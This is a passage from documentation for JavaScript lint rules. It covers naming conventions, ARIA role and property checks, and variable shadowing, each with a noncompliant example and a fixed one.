      Adhering to a consistent naming convention helps to make the code more readable and understandable, which makes it easier to maintain and debug.
      It also ensures consistency in the code, especially when multiple developers are working on the same project.</p>
    </div>

    <div class="paragraph">
      <p>This rule checks that \{identifier} names match a provided regular expression.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const foo_bar = 1; // Noncompliant
      const baz_ = 2; // Noncompliant
      ```

      ```javascript Fix theme={null}
      const fooBar = 1;
      const _baz = 2;
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="DOM elements with ARIA roles should have a valid non-abstract role">
    <div class="paragraph">
      <p>DOM elements with ARIA roles should have a valid non-abstract role</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      <div role="meth" aria-label="a^{2} + b^{2} = c^{2}">
      a<sup>2</sup> + b<sup>2</sup> = c<sup>2</sup>
      </div>
      ```

      ```javascript Fix theme={null}
      <div role="math" aria-label="a^{2} + b^{2} = c^{2}">
      a<sup>2</sup> + b<sup>2</sup> = c<sup>2</sup>
      </div>
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="DOM elements with ARIA roles should have the required properties">
    <div class="paragraph">
      <p>DOM elements with ARIA roles should have the required properties</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      <div role="checkbox">Unchecked</div> {/* Noncompliant: aria-checked is missing */}
      ```

      ```javascript Fix theme={null}
      <div role="checkbox" aria-checked={isChecked}>Unchecked</div>
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Variables should not be shadowed">
    <div class="paragraph">
      <p>Variables should not be shadowed</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function outer(items) {
      var counter = 0;

      function inner(items) { // Noncompliant: the parameter "items" is shadowed.
      var counter = counter + 1; // Noncompliant: the outer "counter" is shadowed.
      }

      inner(items);

      return counter; // returns 0
      }

      function search(items, match) { // Noncompliant: the function "match" (below) is shadowed.
      // ...
      }

      function match(value, key) {
      // ...
      }
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="No ARIA role or property for unsupported DOM elements">
    <div class="paragraph">
      <p>No ARIA role or property for unsupported DOM elements</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      <title aria-hidden="false">My beautiful web page</title>
      ```

      ```javascript Fix theme={null}
      <title>My beautiful web page</title>
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="No redundant ARIA role">
    <div class="paragraph">
      <p>No redundant ARIA role</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      <button role="button" onClick={handleClick}>OK</button>
      ```

      ```javascript Fix theme={null}
      <button onClick={handleClick}>OK</button>
      ```
    </CodeGroup>
  </Accordion>
</AccordionGroup>
